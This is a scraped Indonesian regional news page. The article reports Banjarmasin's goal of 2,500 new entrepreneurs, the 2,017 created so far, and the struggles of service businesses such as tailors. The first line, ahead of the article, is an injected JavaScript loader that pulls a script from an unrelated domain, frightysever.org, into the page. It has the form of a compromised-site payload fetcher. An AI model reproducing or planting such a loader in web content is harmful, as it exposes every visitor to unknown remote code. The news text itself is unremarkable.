(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Walikota Banjarmasin H. Ibnu Sina menargetkan terciptanya 2.500 wirausaha baru di Kota Seribu Sungai. Hingga sekarang, sedikitnya 2.017 wirausaha baru terbentuk di Kota Banjarmasin. Kendati demikian, tidak semua usaha mampu bertahan di tengah persaingan antar usaha.
Hal tersebut disampaikan oleh Plt. Kepala Dinas Koperasi, UMKM dan Tenaga Kerja Kota Banjarmasin, H. Norbainsyah saat ditemui di Balaikota Banjarmasin, Rabu (27/11) siang.
“Saat ini sudah 2.017 wirausaha baru, tapi tidak menutup kemungkinan apa yang kata Pak Walikota tadi kita akan survey di lapangan, karena tidak semuanya bisa bertahan. Karena yang namanya usaha itu kadang-kadang bisa bertahan, maju atau rontok,” kata Norbainsyah, Rabu (27/11) siang.
Dari 2.017 wirausaha baru, sebagian besar bergerak di sektor jasa. Ditengarai, ketatnya persaingan membuat sebagian wirausaha baru memutuskan untuk gulung tikar. Sebagian besar merupakan wirausaha yang bergerak di bidang jasa dan ada pula dalam penjualan produk makanan.  “Karena produk tidak laku, kadang-kadang kalau buat produk langsung menjual dan laku.Sedangkan kalau jasa lambat,” tambahnya.
Norbainsyah mencontohkan penjahit, dari satu kelompok pelatihan yang terdiri dari 5 orang, hanya 2 orang yang bertahan. “Peminat yang membayarnya jarang, padahal sudah dibantu mesin jahit dan peralatan lainnya. Karena satu kelompok, ada yang bertahan karena ada pelanggannya, dan rontok,” tuturnya.
Lalu solusinya bagaimana? Norbainsyah menyebut pihaknya telah melakukan pelatihan dan pembinaan. “Misalnya bagaimana pemasaran dan perhitungan serta pembukuannya. Lalu kemasan produknya,” sebutnya.
Selama ini, pelatihan wirausaha baru telah dilaksanakan di Dinas Koperasi, UMKM dan Naker dan Gedung Bekraf di Kawasan A. Yani Banjarmasin. “Biasanya kita kalau ada pelatihan di Bekraf,” singkatnya.
Sedikitnya 100 wirausaha baru telah dicetak oleh Dinas Koperasi, UMKM dan Naker, bersama-sama dengan 6 jajaran SKPD lainnya dengan jumlah yang berbeda-beda. “Kita 100-an, karena ada pelatihan menjahit 2 angkatan, pelatihan bordir 2 angkatan juga dan pelatihan di purun,” pungkasnya. (fikri)
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.